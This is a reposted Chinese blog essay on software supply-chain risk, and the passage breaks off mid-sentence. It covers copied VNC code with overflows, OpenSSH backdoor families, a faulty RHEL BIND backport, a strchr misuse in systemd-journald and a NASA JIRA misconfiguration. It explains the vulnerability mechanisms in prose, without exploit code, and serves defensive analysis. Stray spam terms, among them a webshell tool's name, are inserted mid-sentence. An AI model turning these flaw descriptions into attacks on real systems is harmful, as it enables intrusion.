如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-28 08:49:21
283
转载
转载文章
...问题。后续有若干新的实现软件,如TightVNC、RealVNC,在公众认知中,AT&T版本已死,后起之秀一定程度上修正了问题。 目前各种更优秀的远程控制和分享协议取代了VNC的位置,尽管例如苹果仍然系统內建VNC作为远程方式。但在非桌面领域,VNC还有我们想不到的重要性,比如工控领域需要远程屏幕传输的场景,这也是为什么这系列漏洞作者会关注这一块。 漏洞技术概况 Pavel总结到,在阶段漏洞挖掘中共上报11个漏洞。在披露邮件中描述了其中4个的技术细节,均在协议数据包处理代码中,漏洞类型古典,分别是全局缓冲区溢出、堆溢出和空指针解引用。其中缓冲区溢出类型漏洞可方便构造PoC,实现远程任意代码执行的漏洞利用。 漏洞本身原理简单,也并不是关键。以其中一个为例,Pavel在发现时负责任地向LibVNC作者提交了issue,并跟进漏洞修复过程;在第一次修复之后,复核并指出修复代码无效,给出了有效patch。这个过程是常规操作。 漏洞疑点 有意思的是,在漏洞披露邮件中,Pavel重点谈了自己对这系列漏洞的一些周边发现,也是这里提到的原因。其中,关于存在漏洞的代码,作者表述: 我最初认为,这些问题是libvnc开发者自己代码中的错误,但看起来并非如此。其中有一些(如CoRRE数据处理函数中的堆缓冲区溢出),出现在AT&T实验室1999年的代码中,而后被很多软件开发者原样复制(在Github上搜索一下HandleCoRREBPP函数,你就知道),LibVNC和TightVNC也是如此。 为了证实,翻阅了这部分代码,确实在其中数据处理相关代码文件看到了剑桥和AT&T实验室的文件头GPL声明注释,中国菜刀 这证实这些文件是直接从最初剑桥实验室版本VNC移植过来的,且使用方式是 直接代码包含,而非独立库引用方式。在官方开源发布并停止更新后,LibVNC使用的这部分代码基本没有改动——除了少数变量命名方式的统一,以及本次漏洞修复。通过搜索,我找到了2000年发布的相关代码文件,确认这些文件与LibVNC中引入的原始版本一致。 另外,Pavel同时反馈了TightVNC中相同的问题。TightVNC与LibVNC没有继承和直接引用关系,但上述VNC代码同样被TightVNC使用,问题的模式不约而同。Pavel测试发现在Ubuntu最新版本TightVNC套件(1.3.10版本)中同样存在该问题,上报给当前软件所有者GlavSoft公司,但对方声称目前精力放在不受GPL限制的TightVNC 2.x版本开发中,对开源的1.x版本漏洞代码“可能会进行修复”。看起来,这个问题被踢给了各大Linux发行版社区来焦虑了——如果他们愿意接锅。 问题思考 在披露邮件中,Pavel认为,这些代码bug“如此明显,让人无法相信之前没被人发现过……也许是因为某些特殊理由才始终没得到修复”。 事实上,我们都知道目前存在一些对开源基础软件进行安全扫描的大型项目,例如Google的OSS;同时,仍然存活的开源项目也越来越注重自身代码发布前的安全扫描,Fortify、Coverity的扫描也成为很多项目和平台的标配。在这样一些眼睛注视下,为什么还有这样的问题?我认为就这个具体事例来说,可能有如下两个因素: ·上游已死。仍然在被维护的代码,存在版本更迭,也存在外界的持续关注、漏洞报告和修复、开发的迭代,对于负责人的开发者,持续跟进、评估、同步代码的改动是可能的。但是一旦一份代码走完了生命周期,就像一段史实一样会很少再被改动。 ·对第三方上游代码的无条件信任。我们很多人都有过基础组件、中间件的开发经历,不乏有人使用Coverity开启全部规则进行代码扫描、严格修复所有提示的问题甚至编程规范warning;报告往往很长,其中也包括有源码形式包含的第三方代码中的问题。但是,我们一方面倾向于认为这些被广泛使用的代码不应存在问题(不然早就被人挖过了),一方面考虑这些引用的代码往往是组件或库的形式被使用,应该有其上下文才能认定是否确实有可被利用的漏洞条件,现在单独扫描这部分代码一般出来的都是误报。所以这些代码的问题都容易被忽视。 但是透过这个具体例子,再延伸思考相关的实践,这里最根本的问题可以总结为一个模式: 复制粘贴风险。复制粘贴并不简单意味着剽窃,实际是当前软件领域、互联网行业发展的基础模式,但其中有一些没人能尝试解决的问题: ·在传统代码领域,如C代码中,对第三方代码功能的复用依赖,往往通过直接进行库的引入实现,第三方代码独立而完整,也较容易进行整体更新;这是最简单的情况,只需要所有下游使用者保证仅使用官方版本,跟进官方更新即可;但在实践中很难如此贯彻,这是下节讨论的问题。 ·有些第三方发布的代码,模式就是需要被源码形式包含到其他项目中进行统一编译使用(例如腾讯的开源Json解析库RapidJSON,就是纯C++头文件形式)。在开源领域有如GPL等规约对此进行规范,下游开发者遵循协议,引用代码,强制或可选地显式保留其GPL声明,可以进行使用和更改。这样的源码依赖关系,结合规范化的changelog声明代码改动,侧面也是为开发过程中跟进考虑。但是一个成型的产品,比如企业自有的服务端底层产品、中间件,新版本的发版更新是复杂的过程,开发者在旧版本仍然“功能正常”的情况下往往倾向于不跟进新版本;而上游代码如果进行安全漏洞修复,通常也都只在其最新版本代码中改动,安全修复与功能迭代并存,如果没有类似Linux发行版社区的努力,旧版本代码完全没有干净的安全更新patch可用。 ·在特定场景下,有些开发实践可能不严格遵循开源代码协议限定,引入了GPL等协议保护的代码而不做声明(以规避相关责任),丢失了引入和版本的信息跟踪;在另一些场景下,可能存在对开源代码进行大刀阔斧的修改、剪裁、定制,以符合自身业务的极端需求,但是过多的修改、人员的迭代造成与官方代码严重的失同步,丧失可维护性。 ·更一般的情况是,在开发中,开发者个体往往心照不宣的存在对网上代码文件、代码片段的复制-粘贴操作。被参考的代码,可能有上述的开源代码,也可能有各种Github作者练手项目、技术博客分享的代码片段、正式开源项目仅用来说明用法的不完备示例代码。这些代码的引入完全无迹可寻,即便是作者自己也很难解释用了什么。这种情况下,上面两条认定的那些与官方安全更新失同步的问题同样存在,且引入了独特的风险:被借鉴的代码可能只是原作者随手写的、仅仅是功能成立的片段,甚至可能是恶意作者随意散布的有安全问题的代码。由此,问题进入了最大的发散空间。 在Synopsys下BLACKDUCK软件之前发布的《2018 Open Source Security and Risk Analysis Report》中分析,96%的应用中包含有开源组件和代码,开源代码在应用全部代码中的占比约为57%,78%的应用中在引用的三方开源代码中存在历史漏洞。也就是说,现在互联网上所有厂商开发的软件、应用,其开发人员自己写的代码都是一少部分,多数都是借鉴来的。而这还只是可统计、可追溯的;至于上面提到的非规范的代码引用,如果也纳入进来考虑,三方代码占应用中的比例会上升到多少?曾经有分析认为至少占80%,我们只期望不会更高。 Ⅱ. 从碎片到乱刃:OpenSSH在野后门一览 在进行基础软件梳理时,回忆到反病毒安全软件提供商ESET在2018年十月发布的一份白皮书《THE DARK SIDE OF THE FORSSHE: A landscape of OpenSSH backdoors》。其站在一个具有广泛用户基础的软件提供商角度,给出了一份分析报告,数据和结论超出我们对于当前基础软件使用全景的估量。以下以我的角度对其中一方面进行解读。 一些必要背景 SSH的作用和重要性无需赘言;虽然我们站在传统互联网公司角度,可以认为SSH是通往生产服务器的生命通道,但当前多样化的产业环境已经不止于此(如之前libssh事件中,不幸被我言中的,SSH在网络设备、IoT设备上(如f5)的广泛使用)。 OpenSSH是目前绝大多数SSH服务端的基础软件,有完备的开发团队、发布规范、维护机制,本身是靠谱的。如同绝大多数基础软件开源项目的做法,OpenSSH对漏洞有及时的响应,针对最新版本代码发出安全补丁,但是各大Linux发行版使用的有各种版本的OpenSSH,这些社区自行负责将官方开发者的安全补丁移植到自己系统搭载的低版本代码上。天空彩 白皮书披露的现状 如果你是一个企业的运维管理人员,需要向企业生产服务器安装OpenSSH或者其它基础软件,最简单的方式当然是使用系统的软件管理安装即可。但是有时候,出于迁移成本考虑,可能企业需要在一个旧版本系统上,使用较新版本的OpenSSL、OpenSSH等基础软件,这些系统不提供,需要自行安装;或者需要一个某有种特殊特性的定制版本。这时,可能会选择从某些rpm包集中站下载某些不具名第三方提供的现成的安装包,或者下载非官方的定制化源码本地编译后安装,总之从这里引入了不确定性。 这种不确定性有多大?我们粗估一下,似乎不应成为问题。但这份白皮书给我们看到了鲜活的数据。 ESET研究人员从OpenSSH的一次历史大规模Linux服务端恶意软件Windigo中获得启示,采用某种巧妙的方式,面向在野的服务器进行数据采集,主要是系统与版本、安装的OpenSSH版本信息以及服务端程序文件的一个特殊签名。整理一个签名白名单,包含有所有能搜索到的官方发布二进制版本、各大Linux发行版本各个版本所带的程序文件版本,将这些标定为正常样本进行去除。最终结论是: ·共发现了几百个非白名单版本的OpenSSH服务端程序文件ssh和sshd; ·分析这些样本,将代码部分完全相同,仅仅是数据和配置不同的合并为一类,且分析判定确认有恶意代码的,共归纳为 21个各异的恶意OpenSSH家族; ·在21个恶意家族中,有12个家族在10月份时完全没有被公开发现分析过;而剩余的有一部分使用了历史上披露的恶意代码样本,甚至有源代码; ·所有恶意样本的实现,从实现复杂度、代码混淆和自我保护程度到代码特征有很大跨度的不同,但整体看,目的以偷取用户凭证等敏感信息、回连外传到攻击者为主,其中有的攻击者回连地址已经存在并活跃数年之久; ·这些后门的操控者,既有传统恶意软件黑产人员,也有APT组织; ·所有恶意软件或多或少都在被害主机上有未抹除的痕迹。ESET研究者尝试使用蜜罐引诱出攻击者,但仍有许多未解之谜。这场对抗,仍未取胜。 白皮书用了大篇幅做技术分析报告,此处供细节分析,不展开分析,以下为根据恶意程序复杂度描绘的21个家族图谱: 问题思考 问题引入的可能渠道,我在开头进行了一点推测,主要是由人的原因切入的,除此以外,最可能的是恶意攻击者在利用各种方法入侵目标主机后,主动替换了目标OpenSSH为恶意版本,从而达成攻击持久化操作。但是这些都是止血的安全运维人员该考虑的事情;关键问题是,透过表象,这显露了什么威胁形式? 这个问题很好回答,之前也曾经反复说过:基础软件碎片化。 如上一章节简单提到,在开发过程中有各种可能的渠道引入开发者不完全了解和信任的代码;在运维过程中也是如此。二者互相作用,造成了软件碎片化的庞杂现状。在企业内部,同一份基础软件库,可能不同的业务线各自定制一份,放到企业私有软件仓库源中,有些会有人持续更新供自己产品使用,有些由系统软件基础设施维护人员单独维护,有些则可能是开发人员临时想起来上传的,他们自己都不记得;后续用到的这个基础软件的开发和团队,在这个源上搜索到已有的库,很大概率会倾向于直接使用,不管来源、是否有质量背书等。长此以往问题会持续发酵。而我们开最坏的脑洞,是否可能有黑产人员入职到内部,提交个恶意基础库之后就走人的可能?现行企业安全开发流程中审核机制的普遍缺失给这留下了空位。 将源码来源碎片化与二进制使用碎片化并起来考虑,我们不难看到一个远远超过OpenSSH事件威胁程度的图景。但这个问题不是仅仅靠开发阶段规约、运维阶段规范、企业内部管控、行业自查、政府监管就可以根除的,最大的问题归根结底两句话: 不可能用一场战役对抗持续威胁;不可能用有限分析对抗无限未知。 Ⅲ. 从自信到自省:RHEL、CentOS backport版本BIND漏洞 2018年12月20日凌晨,在备战冬至的软件供应链安全大赛决赛时,我注意到漏洞预警平台捕获的一封邮件。但这不是一个漏洞初始披露邮件,而是对一个稍早已披露的BIND在RedHat、CentOS发行版上特定版本的1day漏洞CVE-2018-5742,由BIND的官方开发者进行额外信息澄(shuǎi)清(guō)的邮件。 一些必要背景 关于BIND 互联网的一个古老而基础的设施是DNS,这个概念在读者不应陌生。而BIND“是现今互联网上最常使用的DNS软件,使用BIND作为服务器软件的DNS服务器约占所有DNS服务器的九成。BIND现在由互联网系统协会负责开发与维护参考。”所以BIND的基础地位即是如此,因此也一向被大量白帽黑帽反复测试、挖掘漏洞,其开发者大概也一直处在紧绷着应对的处境。 关于ISC和RedHat 说到开发者,上面提到BIND的官方开发者是互联网系统协会(ISC)。ISC是一个老牌非营利组织,目前主要就是BIND和DHCP基础设施的维护者。而BIND本身如同大多数历史悠久的互联网基础开源软件,是4个UCB在校生在DARPA资助下于1984年的实验室产物,直到2012年由ISC接管。 那么RedHat在此中是什么角色呢?这又要提到我之前提到的Linux发行版和自带软件维护策略。Red Hat Enterprise Linux(RHEL)及其社区版CentOS秉持着稳健的软件策略,每个大的发行版本的软件仓库,都只选用最必要且质量久经时间考验的软件版本,哪怕那些版本实在是老掉牙。这不是一种过分的保守,事实证明这种策略往往给RedHat用户在最新漏洞面前提供了保障——代码总是跑得越少,潜在漏洞越多。 但是这有两个关键问题。一方面,如果开源基础软件被发现一例有历史沿革的代码漏洞,那么官方开发者基本都只为其最新代码负责,在当前代码上推出修复补丁。另一方面,互联网基础设施虽然不像其上的应用那样爆发性迭代,但依然持续有一些新特性涌现,其中一些是必不可少的,但同样只在最新代码中提供。两个刚需推动下,各Linux发行版对长期支持版本系统的软件都采用一致的策略,即保持其基础软件在一个固定的版本,但对于这些版本软件的最新漏洞、必要的最新软件特性,由发行版维护者将官方开发者最新代码改动“向后移植”到旧版本代码中,即backport。这就是基础软件的“官宣”碎片化的源头。 讲道理,Linux发行版维护者与社区具有比较靠谱的开发能力和监督机制,backport又基本就是一些复制粘贴工作,应当是很稳当的……但真是如此吗? CVE-2018-5742漏洞概况 CVE-2018-5742是一个简单的缓冲区溢出类型漏洞,官方评定其漏洞等级moderate,认为危害不大,漏洞修复不积极,披露信息不多,也没有积极给出代码修复patch和新版本rpm包。因为该漏洞仅在设置DEBUG_LEVEL为10以上才会触发,由远程攻击者构造畸形请求造成BIND服务崩溃,在正常的生产环境几乎不可能具有危害,RedHat官方也只是给出了用户自查建议。 这个漏洞只出现在RHEL和CentOS版本7中搭载的BIND 9.9.4-65及之后版本。RedHat同ISC的声明中都证实,这个漏洞的引入原因,是RedHat在尝试将BIND 9.11版本2016年新增的NTA机制向后移植到RedHat 7系中固定搭载的BIND 9.9版本代码时,偶然的代码错误。NTA是DNS安全扩展(DNSSEC)中,用于在特定域关闭DNSSEC校验以避免不必要的校验失败的机制;但这个漏洞不需要对NTA本身有进一步了解。 漏洞具体分析 官方没有给出具体分析,但根据CentOS社区里先前有用户反馈的bug,我得以很容易还原漏洞链路并定位到根本原因。 若干用户共同反馈,其使用的BIND 9.9.4-RedHat-9.9.4-72.el7发生崩溃(coredump),并给出如下的崩溃时调用栈backtrace: 这个调用过程的逻辑为,在9 dns_message_logfmtpacket函数判断当前软件设置是否DEBUG_LEVEL大于10,若是,对用户请求数据包做日志记录,先后调用8 dns_message_totext、7 dns_message_sectiontotext、6 dns_master_rdatasettotext、5 rdataset_totext将请求进行按协议分解分段后写出。 由以上关键调用环节,联动RedHat在9.9.4版本BIND源码包中关于引入NTA特性的源码patch,进行代码分析,很快定位到问题产生的位置,在上述backtrace中的5,masterdump.c文件rdataset_totext函数。漏洞相关代码片段中,RedHat进行backport后,这里引入的代码为: 这里判断对于请求中的注释类型数据,直接通过isc_buffer_putstr宏对缓存进行操作,在BIND工程中自定义维护的缓冲区结构对象target上,附加一字节字符串(一个分号)。而漏洞就是由此产生:isc_buffer_putstr中不做缓冲区边界检查保证,这里在缓冲区已满情况下将造成off-by-one溢出,并触发了缓冲区实现代码中的assertion。 而ISC上游官方版本的代码在这里是怎么写的呢?找到ISC版本BIND 9.11代码,这里是这样的: 这里可以看到,官方代码在做同样的“附加一个分号”这个操作时,审慎的使用了做缓冲区剩余空间校验的str_totext函数,并额外做返回值成功校验。而上述提到的str_totext函数与RETERR宏,在移植版本的masterdump.c中,RedHat开发者也都做了保留。但是,查看代码上下文发现,在RedHat开发者进行代码移植过程中,对官方代码进行了功能上的若干剪裁,包括一些细分数据类型记录的支持;而这里对缓冲区写入一字节,也许开发者完全没想到溢出的可能,所以自作主张地简化了代码调用过程。 问题思考 这个漏洞本身几乎没什么危害,但是背后足以引起思考。 没有人在“借”别人代码时能不出错 不同于之前章节提到的那种场景——将代码文件或片段复制到自己类似的代码上下文借用——backport作为一种官方且成熟的做法,借用的代码来源、粘贴到的代码上下文,是具有同源属性的,而且开发者一般是追求稳定性优先的社区开发人员,似乎质量应该有足够保障。但是这里的关键问题是:代码总要有一手、充分的语义理解,才能有可信的使用保障;因此,只要是处理他人的代码,因为不够理解而错误使用的风险,只可能减小,没办法消除。 如上分析,本次漏洞的产生看似只是做代码移植的开发者“自作主张”之下“改错了”。但是更广泛且可能的情况是,原始开发者在版本迭代中引入或更新大量基础数据结构、API的定义,并用在新的特性实现代码中;而后向移植开发人员仅需要最小规模的功能代码,所以会对增量代码进行一定规模的修改、剪裁、还原,以此适应旧版本基本代码。这些过程同样伴随着第三方开发人员不可避免的“望文生义”,以及随之而来的风险。后向移植操作也同样助长了软件碎片化过程,其中每一个碎片都存在这样的问题;每一个碎片在自身生命周期也将有持续性影响。 多级复制粘贴无异于雪上加霜 这里简单探讨的是企业通行的系统和基础软件建设实践。一些国内外厂商和社区发布的定制化Linux发行版,本身是有其它发行版,如CentOS特定版本渊源的,在基础软件上即便同其上游发行版最新版本间也存在断层滞后。RedHat相对于基础软件开发者之间已经隔了一层backport,而我们则人为制造了二级风险。 在很多基础而关键的软件上,企业系统基础设施的维护者出于与RedHat类似的初衷,往往会决定自行backport一份拷贝;通过早年心脏滴血事件的洗礼,即暴露出来OpenSSL一个例子。无论是需要RHEL还没来得及移植的新版本功能特性,还是出于对特殊使用上下文场景中更高执行效率的追求,企业都可能自行对RHEL上基础软件源码包进行修改定制重打包。这个过程除了将风险幂次放大外,也进一步加深了代码的不可解释性(包括基础软件开发人员流动性带来的不可解释)。 Ⅳ. 从武功到死穴:从systemd-journald信息泄露一窥API误用 1月10日凌晨两点,漏洞预警平台爬收取一封漏洞披露邮件。披露者是Qualys,那就铁定是重型发布了。最后看披露漏洞的目标,systemd?这就非常有意思了。 一些必要背景 systemd是什么,不好简单回答。Linux上面软件命名,习惯以某软件名后带个‘d’表示后台守护管理程序;所以systemd就可以说是整个系统的看守吧。而即便现在描述了systemd是什么,可能也很快会落伍,因为其初始及核心开发者Lennart Poettering(供职于Red Hat)描述它是“永无开发完结完整、始终跟进技术进展的、统一所有发行版无止境的差异”的一种底层软件。笼统讲有三个作用:中央化系统及设置管理;其它软件开发的基础框架;应用程序和系统内核之间的胶水。如今几乎所有Linux发行版已经默认提供systemd,包括RHEL/CentOS 7及后续版本。总之很基础、很底层、很重要就对了。systemd本体是个主要实现init系统的框架,但还有若干关键组件完成其它工作;这次被爆漏洞的是其journald组件,是负责系统事件日志记录的看守程序。 额外地还想简单提一句Qualys这个公司。该公司创立于1999年,官方介绍为信息安全与云安全解决方案企业,to B的安全业务非常全面,有些也是国内企业很少有布局的方面;例如上面提到的涉及碎片化和代码移植过程的历史漏洞移动,也在其漏洞管理解决方案中有所体现。但是我们对这家公司粗浅的了解来源于其安全研究团队近几年的发声,这两年间发布过的,包括有『stack clash』、『sudo get_tty_name提权』、『OpenSSH信息泄露与堆溢出』、『GHOST:glibc gethostbyname缓冲区溢出』等大新闻(仅截至2017年年中)。从中可见,这个研究团队专门啃硬骨头,而且还总能开拓出来新的啃食方式,往往爆出来一些别人没想到的新漏洞类型。从这个角度,再联想之前刷爆朋友圈的《安全研究者的自我修养》所倡导的“通过看历史漏洞、看别人的最新成果去举一反三”的理念,可见差距。 CVE-2018-16866漏洞详情 这次漏洞披露,打包了三个漏洞: ·16864和16865是内存破坏类型 ·16866是信息泄露 ·而16865和16866两个漏洞组和利用可以拿到root shell。 漏洞分析已经在披露中写的很详细了,这里不复述;而针对16866的漏洞成因来龙去脉,Qualys跟踪的结果留下了一点想象和反思空间,我们来看一下。 漏洞相关代码片段是这样的(漏洞修复前): 读者可以先肉眼过一遍这段代码有什么问题。实际上我一开始也没看出来,向下读才恍然大悟。 这段代码中,外部信息输入通过buf传入做记录处理。输入数据一般包含有空白字符间隔,需要分隔开逐个记录,有效的分隔符包括空格、制表符、回车、换行,代码中将其写入常量字符串;在逐字符扫描输入数据字符串时,将当前字符使用strchr在上述间隔符字符串中检索是否匹配,以此判断是否为间隔符;在240行,通过这样的判断,跳过记录单元字符串的头部连续空白字符。 但是问题在于,strchr这个极其基础的字符串处理函数,对于C字符串终止字符'\0'的处理上有个坑:'\0'也被认为是被检索字符串当中的一个有效字符。所以在240行,当当前扫描到的字符为字符串末尾的NULL时,strchr返回的是WHITESPACE常量字符串的终止位置而非NULL,这导致了越界。 看起来,这是一个典型的问题:API误用(API mis-use),只不过这个被误用的库函数有点太基础,让我忍不住想是不是还会有大量的类似漏洞……当然也反思我自己写的代码是不是也有同样情况,然而略一思考就释然了——我那么笨的代码都用for循环加if判断了:) 漏洞引入和消除历史 有意思的是,Qualys研究人员很贴心地替我做了一步漏洞成因溯源,这才是单独提这个漏洞的原因。漏洞的引入是在2015年的一个commit中: 在GitHub中,定位到上述2015年的commit信息,这里commit的备注信息为: journald: do not strip leading whitespace from messages. Keep leading whitespace for compatibility with older syslog implementations. Also useful when piping formatted output to the logger command. Keep removing trailing whitespace. OK,看起来是一个兼容性调整,对记录信息不再跳过开头所有连续空白字符,只不过用strchr的简洁写法比较突出开发者精炼的开发风格(并不),说得过去。 之后在2018年八月的一个当时尚未推正式版的另一次commit中被修复了,先是还原成了ec5ff4那次commit之前的写法,然后改成了加校验的方式: 虽然Qualys研究者认为上述的修改是“无心插柳”的改动,但是在GitHub可以看到,a6aadf这次commit是因为有外部用户反馈了输入数据为单个冒号情况下journald堆溢出崩溃的issue,才由开发者有目的性地修复的;而之后在859510这个commit再次改动回来,理由是待记录的消息都是使用单个空格作为间隔符的,而上一个commit粗暴地去掉了这种协议兼容性特性。 如果没有以上纠结的修改和改回历史,也许我会倾向于怀疑,在最开始漏洞引入的那个commit,既然改动代码没有新增功能特性、没有解决什么问题(毕竟其后三年,这个改动的代码也没有被反映issue),也并非出于代码规范等考虑,那么这么轻描淡写的一次提交,难免有人为蓄意引入漏洞的嫌疑。当然,看到几次修复的原因,这种可能性就不大了,虽然大家仍可以保留意见。但是抛开是否人为这个因素,单纯从代码的漏洞成因看,一个传统但躲不开的问题仍值得探讨:API误用。 API误用:程序员何苦为难程序员 如果之前的章节给读者留下了我反对代码模块化和复用的印象,那么这里需要正名一下,我们认可这是当下开发实践不可避免的趋势,也增进了社会开发速度。而API的设计决定了写代码和用代码的双方“舒适度”的问题,由此而来的API误用问题,也是一直被当做单纯的软件工程课题讨论。在此方面个人并没有什么研究,自然也没办法系统地给出分类和学术方案,只是谈一下自己的经验和想法。 一篇比较新的学术文章总结了API误用的研究,其中一个独立章节专门分析Java密码学组件API误用的实际,当中引述之前论文认为,密码学API是非常容易被误用的,比如对期望输入数据(数据类型,数据来源,编码形式)要求的混淆,API的必需调用次序和依赖缺失(比如缺少或冗余多次调用了初始化函数、主动资源回收函数)等。凑巧在此方面我有一点体会:曾经因为业务方需要,需要使用C++对一个Java的密码基础中间件做移植。Java对密码学组件支持,有原生的JDK模块和权威的BouncyCastle包可用;而C/C++只能使用第三方库,考虑到系统平台最大兼容和最小代码量,使用Linux平台默认自带的OpenSSL的密码套件。但在开发过程中感受到了OpenSSL满满的恶意:其中的API设计不可谓不反人类,很多参数没有明确的说明(比如同样是表示长度的函数参数,可能在不同地方分别以字节/比特/分组数为计数单位);函数的线程安全没有任何解释标注,需要自行试验;不清楚函数执行之后,是其自行做了资源释放还是需要有另外API做gc,不知道资源释放操作时是否规规矩矩地先擦除后释放……此类问题不一而足,导致经过了漫长的测试之后,这份中间件才提供出来供使用。而在业务场景中,还会存在比如其它语言调用的情形,这些又暴露出来OpenSSL API误用的一些完全无从参考的问题。这一切都成为了噩梦;当然这无法为我自己开解是个不称职开发的指责,但仅就OpenSSL而言其API设计之恶劣也是始终被人诟病的问题,也是之后其他替代者宣称改进的地方。 当然,问题是上下游都脱不了干系的。我们自己作为高速迭代中的开发人员,对于二方、三方提供的中间件、API,又有多少人能自信地说自己仔细、认真地阅读过开发指南和API、规范说明呢?做过通用产品技术运营的朋友可能很容易理解,自己产品的直接用户日常抛出不看文档的愚蠢问题带来的困扰。对于密码学套件,这个问题还好办一些,毕竟如果在没有背景知识的情况下对API望文生义地一通调用,绝大多数情况下都会以抛异常形式告终;但还是有很多情况,API误用埋下的是长期隐患。 不是所有API误用情形最终都有机会发展成为可利用的安全漏洞,但作为一个由人的因素引入的风险,这将长期存在并困扰软件供应链(虽然对安全研究者、黑客与白帽子是很欣慰的事情)。可惜,传统的白盒代码扫描能力,基于对代码语义的理解和构建,但是涉及到API则需要预先的抽象,这一点目前似乎仍然是需要人工干预的事情;或者轻量级一点的方案,可以case by case地分析,为所有可能被误用的API建模并单独扫描,这自然也有很强局限性。在一个很底层可信的开发者还对C标准库API存在误用的现实内,我们需要更多的思考才能说接下来的解法。 Ⅴ. 从规则到陷阱:NASA JIRA误配置致信息泄露血案 软件的定义包括了代码组成的程序,以及相关的配置、文档等。当我们说软件的漏洞、风险时,往往只聚焦在其中的代码中;关于软件供应链安全风险,我们的比赛、前面分析的例子也都聚焦在了代码的问题;但是真正的威胁都来源于不可思议之处,那么代码之外有没有可能存在来源于上游的威胁呢?这里就借助实例来探讨一下,在“配置”当中可能栽倒的坑。 引子:发不到500英里以外的邮件? 让我们先从一个轻松愉快的小例子引入。这个例子初见于Linux中国的一篇译文。 简单说,作者描述了这么一个让人啼笑皆非的问题:单位的邮件服务器发送邮件,发送目标距离本地500英里范围之外的一律失败,邮件就像悠悠球一样只能飞出一定距离。这个问题本身让描述者感到尴尬,就像一个技术人员被老板问到“为什么从家里笔记本上Ctrl-C后不能在公司台式机上Ctrl-V”一样。 经过令人窒息的分析操作后,笔者定位到了问题原因:笔者作为负责的系统管理员,把SunOS默认安装的Senmail从老旧的版本5升级到了成熟的版本8,且对应于新版本诸多的新特性进行了对应配置,写入配置文件sendmail.cf;但第三方服务顾问在对单位系统进行打补丁升级维护时,将系统软件“升级”到了系统提供的最新版本,因此将Sendmail实际回退到了版本5,却为了软件行为一致性,原样保留了高版本使用的配置文件。但Sendmail并没有在大版本间保证配置文件兼容性,这导致很多版本5所需的配置项不存在于保留下来的sendmail.cf文件中,程序按默认值0处理;最终引起问题的就是,邮件服务器与接收端通信的超时时间配置项,当取默认配置值0时,邮件服务器在1个单位时间(约3毫秒)内没有收到网络回包即认为超时,而这3毫秒仅够电信号打来回飞出500英里。 这个“故事”可能会给技术人员一点警醒,错误的配置会导致预期之外的软件行为,但是配置如何会引入软件供应链方向的安全风险呢?这就引出了下一个重磅实例。 JIRA配置错误致NASA敏感信息泄露案例 我们都听过一个事情,马云在带队考察美国公司期间问Google CEO Larry Page自视谁为竞争对手,Larry的回答是NASA,因为最优秀的工程师都被NASA的梦想吸引过去了。由此我们显然能窥见NASA的技术水位之高,这样的人才团队大概至少是不会犯什么低级错误的。 但也许需要重新定义“低级错误”……1月11日一篇技术文章披露,NASA某官网部署使用的缺陷跟踪管理系统JIRA存在错误的配置,可分别泄漏内部员工(JIRA系统用户)的全部用户名和邮件地址,以及内部项目和团队名称到公众,如下: 问题的原因解释起来也非常简单:JIRA系统的过滤器和配置面板中,对于数据可见性的配置选项分别选定为All users和Everyone时,系统管理人员想当然地认为这意味着将数据对所有“系统用户”开放查看,但是JIRA的这两个选项的真实效果逆天,是面向“任意人”开放,即不限于系统登录用户,而是任何查看页面的人员。看到这里,我不厚道地笑了……“All users”并不意味着“All ‘users’”,意不意外,惊不惊喜? 但是这种字面上把戏,为什么没有引起NASA工程师的注意呢,难道这样逆天的配置项没有在产品手册文档中加粗标红提示吗?本着为JIRA产品设计找回尊严的态度,我深入挖掘了一下官方说明,果然在Atlassian官方的一份confluence文档(看起来更像是一份增补的FAQ)中找到了相关说明: 所有未登录访客访问时,系统默认认定他们是匿名anonymous用户,所以各种权限配置中的all users或anyone显然应该将匿名用户包括在内。在7.2及之后版本中,则提供了“所有登录用户”的选项。 可以说是非常严谨且贴心了。比较讽刺的是,在我们的软件供应链安全大赛·C源代码赛季期间,我们设计圈定的恶意代码攻击目标还包括JIRA相关的敏感信息的窃取,但是却想不到有这么简单方便的方式,不动一行代码就可以从JIRA中偷走数据。 软件的使用,你“配”吗? 无论是开放的代码还是成型的产品,我们在使用外部软件的时候,都是处于软件供应链下游的消费者角色,为了要充分理解上游开发和产品的真实细节意图,需要我们付出多大的努力才够“资格”? 上一章节我们讨论过源码使用中必要细节信息缺失造成的“API误用”问题,而软件配置上的“误用”问题则复杂多样得多。从可控程度上讨论,至少有这几种因素定义了这个问题: ·软件用户对必要配置的现有文档缺少了解。这是最简单的场景,但又是完全不可避免的,这一点上我们所有有开发、产品或运营角色经验的应该都曾经体会过向不管不顾用户答疑的痛苦,而所有软件使用者也可以反省一下对所有软件的使用是否都以完整细致的文档阅读作为上手的准备工作,所以不必多说。 ·软件拥有者对配置条目缺少必要明确说明文档。就JIRA的例子而言,将NASA工程师归为上一条错误有些冤枉,而将JIRA归为这条更加合适。在边角但重要问题上的说明通过社区而非官方文档形式发布是一种不负责任的做法,但未引发安全事件的情况下还有多少这样的问题被默默隐藏呢?我们没办法要求在使用软件之前所有用户将软件相关所有文档、社区问答实现全部覆盖。这个问题范围内一个代表性例子是对配置项的默认值以及对应效果的说明缺失。 ·配置文件版本兼容性带来的误配置和安全问题。实际上,上面的SunOS Sendmail案例足以点出这个问题的存在性,但是在真实场景下,很可能不会以这么戏剧性形式出现。在企业的系统运维中,系统的版本迭代常见,但为软件行为一致性,配置的跨版本迁移是不可避免的操作;而且软件的更新迭代也不只会由系统更新推动,还有大量出于业务性能要求而主动进行的定制化升级,对于中小企业基础设施建设似乎是一个没怎么被提及过的问题。 ·配置项组合冲突问题。尽管对于单个配置项可能明确行为与影响,但是特定的配置项搭配可能造成不可预知的效果。这完全有可能是由于开发者与用户在信息不对等的情况下产生:开发者认为用户应该具有必需的背景知识,做了用户应当具备规避配置冲突能力的假设。一个例子是,对称密码算法在使用ECB、CBC分组工作模式时,从密码算法上要求输入数据长度必须是分组大小的整倍数,但如果用户搭配配置了秘钥对数据不做补齐(nopadding),则引入了非确定性行为:如果密码算法库对这种组合配置按某种默认补齐方式操作数据则会引起歧义,但如果在算法库代码层面对这种组合抛出错误则直接影响业务。 ·程序对配置项处理过程的潜在暗箱操作。这区别于简单的未文档化配置项行为,仅特指可能存在的蓄意、恶意行为。从某种意义上,上述“All 